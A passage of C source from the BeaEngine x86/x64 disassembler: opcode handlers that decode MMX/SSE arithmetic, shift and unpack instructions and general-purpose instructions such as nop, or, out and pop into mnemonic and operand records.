        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psrlw ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psrlw ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}

// ====================================================================
//      0x 0f d2
// ====================================================================
void __stdcall psrld_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION + SHIFT_ROTATE;
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psrld ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psrld ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}

// ====================================================================
//      0x 0f d3
// ====================================================================
void __stdcall psrlq_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION + SHIFT_ROTATE;
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psrlq ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psrlq ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}

// ====================================================================
//      0x 0f e1
// ====================================================================
void __stdcall psraw_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION + SHIFT_ROTATE;
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psraw ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psraw ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}

// ====================================================================
//      0x 0f e2
// ====================================================================
void __stdcall psrad_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION + SHIFT_ROTATE;
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psrad ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psrad ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}

// ====================================================================
//      0x 0f f8
// ====================================================================
void __stdcall psubb_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION + ARITHMETIC_INSTRUCTION;
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psubb ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psubb ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}

// ====================================================================
//      0x 0f f9
// ====================================================================
void __stdcall psubw_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION + ARITHMETIC_INSTRUCTION;
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psubw ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psubw ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}

// ====================================================================
//      0x 0f fa
// ====================================================================
void __stdcall psubd_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION + ARITHMETIC_INSTRUCTION;
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psubd ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psubd ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}

// ====================================================================
//      0x 0f e8
// ====================================================================
void __stdcall psubsb_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION + ARITHMETIC_INSTRUCTION;
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psubsb ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psubsb ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}

// ====================================================================
//      0x 0f e9
// ====================================================================
void __stdcall psubsw_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION + ARITHMETIC_INSTRUCTION;
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psubsw ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psubsw ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}

// ====================================================================
//      0x 0f d8
// ====================================================================
void __stdcall psubusb_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION + ARITHMETIC_INSTRUCTION;
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psubusb ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psubusb ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}

// ====================================================================
//      0x 0f d9
// ====================================================================
void __stdcall psubusw_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION + ARITHMETIC_INSTRUCTION;
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psubusw ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "psubusw ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}

// ====================================================================
//      0x 0f 68
// ====================================================================
void __stdcall punpckhbw_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION + CONVERSION_INSTRUCTION;
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "punpckhbw ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "punpckhbw ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}

// ====================================================================
//      0x 0f 69
// ====================================================================
void __stdcall punpckhwd_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION + CONVERSION_INSTRUCTION;
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "punpckhwd ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "punpckhwd ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}

// ====================================================================
//      0x 0f 6a
// ====================================================================
void __stdcall punpckhdq_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION + CONVERSION_INSTRUCTION;
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "punpckhdq ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "punpckhdq ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}

// ====================================================================
//      0x 0f 60
// ====================================================================
void __stdcall punpcklbw_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION + CONVERSION_INSTRUCTION;
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "punpcklbw ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "punpcklbw ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}

// ====================================================================
//      0x 0f 61
// ====================================================================
void __stdcall punpcklwd_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION + CONVERSION_INSTRUCTION;
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "punpcklwd ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "punpcklwd ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}

// ====================================================================
//      0x 0f 62
// ====================================================================
void __stdcall punpckldq_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION + CONVERSION_INSTRUCTION;
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "punpckldq ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "punpckldq ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}

// ====================================================================
//      0x 0f ef
// ====================================================================
void __stdcall pxor_(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = MMX_INSTRUCTION + LOGICAL_INSTRUCTION;
    // ========== 0x66
    if (OperandSize == 16) {
        (*pMyDisasm).Prefix.OperandSize = MandatoryPrefix;
        OpSize = 108;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pxor ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        SSE_ = 1;
        GxEx(pMyDisasm);
        SSE_ = 0;
    }
    else {
        OpSize = 104;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pxor ");
        (*pMyDisasm).Argument1.AccessMode = READ;
        MMX_ = 1;
        GxEx(pMyDisasm);
        MMX_ = 0;
    }
}
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// Copyright 2006-2009, BeatriX
// File coded by BeatriX
//
// This file is part of BeaEngine.
//
//    BeaEngine is free software: you can redistribute it and/or modify
//    it under the terms of the GNU Lesser General Public License as published by
//    the Free Software Foundation, either version 3 of the License, or
//    (at your option) any later version.
//
//    BeaEngine is distributed in the hope that it will be useful,
//    but WITHOUT ANY WARRANTY; without even the implied warranty of
//    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
//    GNU Lesser General Public License for more details.
//
//    You should have received a copy of the GNU Lesser General Public License
//    along with BeaEngine.  If not, see <http://www.gnu.org/licenses/>.

// ====================================================================
//      90h
// ====================================================================
void __stdcall nop_(PDISASM pMyDisasm)
{
    if (PrefRepe == 1) {
        (*pMyDisasm).Instruction.Category = SSE2_INSTRUCTION + CACHEABILITY_CONTROL;
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pause ");
        EIP_++;
    }
    else {
        if (REX.B_ == 1) {
            if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
                (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
            }
            (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "xchg ");
            (void) strcpy ((char*) (*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[0];
            (*pMyDisasm).Argument1.ArgSize = 64;
            (void) strcpy ((char*) (*pMyDisasm).Argument2.ArgMnemonic, Registers64Bits[0+8]);
            (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[0+8];
            (*pMyDisasm).Argument2.ArgSize = 64;
            EIP_++;
        }
        else {
            (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + MISCELLANEOUS_INSTRUCTION;
            (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "nop ");
            EIP_++;
        }
    }
}

// =======================================
//
// =======================================
void __stdcall nop_Ev(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + MISCELLANEOUS_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "nop ");
    if (OperandSize == 64) {
        OpSize = 104;
    }
    else if (OperandSize == 32) {
        OpSize = 103;
    }
    else {
        OpSize = 102;
    }
    MOD_RM(&(*pMyDisasm).Argument2);
    EIP_ += DECALAGE_EIP + 2;
}

// =======================================
//
// =======================================
void __stdcall hint_nop(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + MISCELLANEOUS_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "hint_nop ");
    if (OperandSize == 64) {
        OpSize = 104;
    }
    else if (OperandSize == 32) {
        OpSize = 103;
    }
    else {
        OpSize = 102;
    }
    MOD_RM(&(*pMyDisasm).Argument2);
    EIP_ += DECALAGE_EIP + 2;
}

// =======================================
//      08h
// =======================================
void __stdcall or_EbGb(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
        (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + LOGICAL_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "or ");
    EbGb(pMyDisasm);
    FillFlags(pMyDisasm,74);
}

// =======================================
//      09h
// =======================================
void __stdcall or_EvGv(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
        (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + LOGICAL_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "or ");
    EvGv(pMyDisasm);
    FillFlags(pMyDisasm,74);
}

// =======================================
//      0ah
// =======================================
void __stdcall or_GbEb(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
        (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + LOGICAL_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "or ");
    GbEb(pMyDisasm);
    FillFlags(pMyDisasm,74);
}

// =======================================
//      0bh
// =======================================
void __stdcall or_GvEv(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
        (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + LOGICAL_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "or ");
    GvEv(pMyDisasm);
    FillFlags(pMyDisasm,74);
}

// =======================================
//      0ch
// =======================================
void __stdcall or_ALIb(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
        (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + LOGICAL_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "or ");
    ALIb(pMyDisasm);
    FillFlags(pMyDisasm,74);
}

// =======================================
//      0dh
// =======================================
void __stdcall or_eAX_Iv(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.LockPrefix == InvalidPrefix) {
        (*pMyDisasm).Prefix.LockPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + LOGICAL_INSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "or ");
    eAX_Iv(pMyDisasm);
    FillFlags(pMyDisasm,74);
}


// =======================================
//      06eh
// =======================================
void __stdcall outsb_(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.RepnePrefix == SuperfluousPrefix) {
        (*pMyDisasm).Prefix.RepnePrefix = InUsePrefix;
    }
    if ((*pMyDisasm).Prefix.RepPrefix == SuperfluousPrefix) {
        (*pMyDisasm).Prefix.RepPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + InOutINSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "outsb ");
    (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG2;
    (*pMyDisasm).Argument1.ArgSize = 16;
    (*pMyDisasm).Argument1.AccessMode = READ;
    (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE;
    (*pMyDisasm).Argument2.Memory.BaseRegister = REG6;
    (*pMyDisasm).Argument2.ArgSize = 8;
    EIP_++;
    FillFlags(pMyDisasm, 76);
}

// =======================================
//      06fh
// =======================================
void __stdcall outsw_(PDISASM pMyDisasm)
{
    if ((*pMyDisasm).Prefix.RepnePrefix == SuperfluousPrefix) {
        (*pMyDisasm).Prefix.RepnePrefix = InUsePrefix;
    }
    if ((*pMyDisasm).Prefix.RepPrefix == SuperfluousPrefix) {
        (*pMyDisasm).Prefix.RepPrefix = InUsePrefix;
    }
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + InOutINSTRUCTION;
    if (OperandSize >= 32) {
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "outsd ");
        (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG2;
        (*pMyDisasm).Argument1.ArgSize = 16;
        (*pMyDisasm).Argument1.AccessMode = READ;
        (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE;
        (*pMyDisasm).Argument2.Memory.BaseRegister = REG6;
        (*pMyDisasm).Argument2.ArgSize = 32;
        EIP_++;
        FillFlags(pMyDisasm, 76);
    }

    else {
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "outsw ");
        (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REG2;
        (*pMyDisasm).Argument1.ArgSize = 16;
        (*pMyDisasm).Argument1.AccessMode = READ;
        (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE;
        (*pMyDisasm).Argument2.Memory.BaseRegister = REG6;
        (*pMyDisasm).Argument2.ArgSize = 16;
        EIP_++;
        FillFlags(pMyDisasm, 76);
    }
}

// =======================================
//
// =======================================
void __stdcall out_IbAL(PDISASM pMyDisasm)
{
    long MyNumber;

    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + InOutINSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "out ");
    if (!Security(2)) return;
    ImmediatSize = 8;
    MyNumber = *((BYTE*) (EIP_ + 1));
    (void) CopyFormattedNumber((char*) &(*pMyDisasm).Argument1.ArgMnemonic,"%.2X", MyNumber);
    (*pMyDisasm).Argument1.ArgType = CONSTANT_TYPE + ABSOLUTE_;
    (*pMyDisasm).Argument1.ArgSize = 8;
    (*pMyDisasm).Argument1.AccessMode = READ;
    (*pMyDisasm).Instruction.Immediat = MyNumber;
    (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers8Bits[0]);
    (*pMyDisasm).Argument2.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[0];
    (*pMyDisasm).Argument2.ArgSize = 8;
    EIP_ += 2;
}

// =======================================
//
// =======================================
void __stdcall out_Ib_eAX(PDISASM pMyDisasm)
{
    long MyNumber;

    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + InOutINSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "out ");
    if (!Security(2)) return;
    ImmediatSize = 8;
    MyNumber = *((BYTE*) (EIP_ + 1));
    (void) CopyFormattedNumber((char*) &(*pMyDisasm).Argument1.ArgMnemonic,"%.2X", MyNumber);
    (*pMyDisasm).Argument1.ArgSize = 8;
    (*pMyDisasm).Argument1.AccessMode = READ;
    (*pMyDisasm).Instruction.Immediat = MyNumber;
    if (OperandSize == 32) {
        (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers32Bits[0]);
        (*pMyDisasm).Argument2.ArgSize = 32;
    }
    else {
        (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers16Bits[0]);
        (*pMyDisasm).Argument2.ArgSize = 16;
    }
    EIP_ += 2;
}


// =======================================
//
// =======================================
void __stdcall out_DXAL(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + InOutINSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "out ");
    (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[2]);
    (*pMyDisasm).Argument1.ArgSize = 16;
    (*pMyDisasm).Argument1.AccessMode = READ;
    (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers8Bits[0]);
    (*pMyDisasm).Argument2.ArgSize = 8;
    EIP_ ++;
}

// =======================================
//
// =======================================
void __stdcall out_DXeAX(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + InOutINSTRUCTION;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "out ");
    (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[2]);
    (*pMyDisasm).Argument1.ArgSize = 16;
    (*pMyDisasm).Argument1.AccessMode = READ;
    if (OperandSize == 32) {
        (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers32Bits[0]);
        (*pMyDisasm).Argument2.ArgSize = 32;
    }
    else {
        (void) strcpy((char*) &(*pMyDisasm).Argument2.ArgMnemonic, Registers16Bits[0]);
        (*pMyDisasm).Argument2.ArgSize = 16;
    }
    EIP_ ++;
}

// =======================================
//      8fh
// =======================================
void __stdcall pop_Ev(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    REGOPCODE = ((*((BYTE*) (EIP_ + 1))) >> 3) & 0x7;
    if (REGOPCODE == 0) {
        (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pop ");
        if (Architecture == 64) {
            OperandSize = 64;
            OpSize = 4;
            MOD_RM(&(*pMyDisasm).Argument1);
            EIP_ += DECALAGE_EIP + 2;
            (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE;
            (*pMyDisasm).Argument2.ArgSize = 64;
            (*pMyDisasm).Argument2.Memory.BaseRegister = REG4;
            (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE + GENERAL_REG + REG4;
        }
        else if (OperandSize == 32) {
            OpSize = 3;
            MOD_RM(&(*pMyDisasm).Argument1);
            EIP_ += DECALAGE_EIP + 2;
            (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE;
            (*pMyDisasm).Argument2.ArgSize = 32;
            (*pMyDisasm).Argument2.Memory.BaseRegister = REG4;
            (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE + GENERAL_REG + REG4;
        }
        else {
            OpSize = 2;
            MOD_RM(&(*pMyDisasm).Argument1);
            EIP_ += DECALAGE_EIP + 2;
            (*pMyDisasm).Argument2.ArgType = MEMORY_TYPE;
            (*pMyDisasm).Argument2.ArgSize = 16;
            (*pMyDisasm).Argument2.Memory.BaseRegister = REG4;
            (*pMyDisasm).Instruction.ImplicitModifiedRegs = REGISTER_TYPE + GENERAL_REG + REG4;
        }
    }
    else {
        FailDecode(pMyDisasm);
    }
}

// =======================================
//      58h
// =======================================
void __stdcall pop_eax(PDISASM pMyDisasm)
{
    (*pMyDisasm).Instruction.Category = GENERAL_PURPOSE_INSTRUCTION + DATA_TRANSFER;
    (void) strcpy ((*pMyDisasm).Instruction.Mnemonic, "pop ");
    if (Architecture == 64) {
        if (REX.B_ == 0) {
            (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[0];
        }
        else {
            (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers64Bits[0+8]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[0+8];
        }
        (*pMyDisasm).Argument1.ArgSize = 64;
        (*pMyDisasm).Argument2.ArgSize = 64;
    }
    else {
        if (OperandSize == 32) {
            (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers32Bits[0]);
            (*pMyDisasm).Argument1.ArgType = REGISTER_TYPE + GENERAL_REG + REGS[0];
            (*pMyDisasm).Argument1.ArgSize = 32;
            (*pMyDisasm).Argument2.ArgSize = 32;
        }
        else {
            (void) strcpy((char*) &(*pMyDisasm).Argument1.ArgMnemonic, Registers16Bits[0]);
